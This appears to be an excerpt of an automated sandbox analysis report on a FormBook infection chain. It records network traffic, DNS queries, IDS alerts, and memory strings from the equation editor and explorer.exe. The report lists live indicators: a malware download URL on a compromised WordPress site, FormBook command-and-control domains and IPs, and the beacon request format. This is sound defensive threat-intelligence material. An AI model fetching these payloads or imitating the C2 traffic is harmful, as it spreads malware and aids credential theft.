Source: global traffic	TCP traffic: 107.164.111.101:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.164.111.101:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.164.111.101:80
Source: global traffic	TCP traffic: 107.164.111.101:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.164.111.101:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.164.111.101:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.164.111.101:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.164.111.101:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.164.111.101:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.164.111.101:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 3.33.130.190:80
Source: global traffic	TCP traffic: 3.33.130.190:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 3.33.130.190:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 3.33.130.190:80
Source: global traffic	TCP traffic: 3.33.130.190:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 3.33.130.190:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 3.33.130.190:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 3.33.130.190:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 3.33.130.190:80
Source: global traffic	TCP traffic: 3.33.130.190:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 3.33.130.190:80
Source: global traffic	TCP traffic: 3.33.130.190:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 103.150.181.71:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80

Source: global traffic	DNS query: name: swamini.in
Source: global traffic	DNS query: name: www.allamericanshuttlellc.com
Source: global traffic	DNS query: name: www.shucaimh.com
Source: global traffic	DNS query: name: www.6061k.vip
Source: global traffic	DNS query: name: www.xazeyu.net

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 4x nop then pop edi	7_2_00417CE2
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 4x nop then pop edi	7_2_00417C85
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 4x nop then pop edi	7_2_00416C9B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 4x nop then pop edi	9_2_000A7C85
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 4x nop then pop edi	9_2_000A6C9B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 4x nop then pop edi	9_2_000A7CE2

Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 103.224.247.210:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.164.111.101:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 3.33.130.190:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 103.150.181.71:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.150.181.71 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.allamericanshuttlellc.com
Source: C:\Windows\explorer.exe	Domain query: www.6061k.vip
Source: C:\Windows\explorer.exe	Domain query: www.shucaimh.com
Source: C:\Windows\explorer.exe	Domain query: www.xazeyu.net
Source: C:\Windows\explorer.exe	Network Connect: 3.33.130.190 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 107.164.111.101 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2021697 ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious 192.168.2.22:49161 -> 103.224.247.210:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49165 -> 107.164.111.101:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49166 -> 3.33.130.190:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.guimisha.com/t2ti/

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=giwc8XVj/AkHwdj5caWP9R2rVnZav6a8h1CJcH9em0U/x824OxogtA/AOr9gMChFXFyvXA==&ll=NdqLMf HTTP/1.1Host: www.shucaimh.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?ll=NdqLMf&4hO02rc=qDIrkJK7+k7t2cKm0yqLDiQOFM/oPqsB85v8vrvlTOlWprVZbJOF5qoRsr2uTLTXyB6S3g== HTTP/1.1Host: www.6061k.vipConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/wpr-addons/forms/balokarat2.1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: swamini.in
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/wpr-addons/forms/balokarat2.1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: swamini.inConnection: Keep-Alive

Source: Joe Sandbox View	ASN Name: NANBIAN-CNNingboNanbianTuoluoXinxiJishuCoLtdCN NANBIAN-CNNingboNanbianTuoluoXinxiJishuCoLtdCN
Source: Joe Sandbox View	ASN Name: AMAZONEXPANSIONGB AMAZONEXPANSIONGB
Source: Joe Sandbox View	ASN Name: EGIHOSTINGUS EGIHOSTINGUS

Source: Joe Sandbox View	IP Address: 3.33.130.190 3.33.130.190
Source: Joe Sandbox View	IP Address: 3.33.130.190 3.33.130.190

Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.use
Source: explorer.exe, 00000008.00000000.353969269.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879285316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com
Source: word.exe, word.exe, 00000005.00000000.351583902.0000000000409000.00000008.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmp, balokarat2.1[1].exe.2.dr, word.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: EQNEDT32.EXE, 00000002.00000003.353995693.0000000000357000.00000004.00000020.00020000.00000000.sdmp, word.exe, 00000005.00000000.351583902.0000000000409000.00000008.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmp, balokarat2.1[1].exe.2.dr, word.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: explorer.exe, 00000008.00000002.881102573.000000000891F000.00000004.80000000.00040000.00000000.sdmp, cmstp.exe, 00000009.00000002.879666706.000000000293F000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://push.zhanzhang.baidu.com/push.js
Source: EQNEDT32.EXE, 00000002.00000002.354164250.000000000028F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe
Source: EQNEDT32.EXE, 00000002.00000002.354164250.000000000028F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exej
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.6061k.vip
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.6061k.vip/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.6061k.vip/t2ti/www.xazeyu.net
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.6061k.vipReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.albertcolet.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.albertcolet.com/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.albertcolet.com/t2ti/www.guimisha.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.albertcolet.comReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.alishopogolic.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.alishopogolic.com/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.alishopogolic.com/t2ti/www.maquibotanic.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.alishopogolic.comReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.allamericanshuttlellc.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.allamericanshuttlellc.com/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.allamericanshuttlellc.com/t2ti/www.shucaimh.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.allamericanshuttlellc.comReferer:
Source: explorer.exe, 00000008.00000000.353969269.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879285316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.fxzx01.icu
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.fxzx01.icu/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.fxzx01.icu/t2ti/www.albertcolet.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.fxzx01.icuReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.guimisha.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.guimisha.com/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.guimisha.com/t2ti/www.ssongg10292.cfd
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.guimisha.comReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hhmhhhbh.xyz
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hhmhhhbh.xyz/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hhmhhhbh.xyz/t2ti/www.techsterverse.life
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hhmhhhbh.xyzReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.janenas.top
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.janenas.top/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.janenas.top/t2ti/www.alishopogolic.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.janenas.topReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.maquibotanic.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.maquibotanic.com/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.maquibotanic.comReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.michealwilshire.online
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.michealwilshire.online/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.michealwilshire.online/t2ti/www.janenas.top
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.michealwilshire.onlineReferer:
Source: explorer.exe, 00000008.00000000.355385878.0000000005E08000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com0
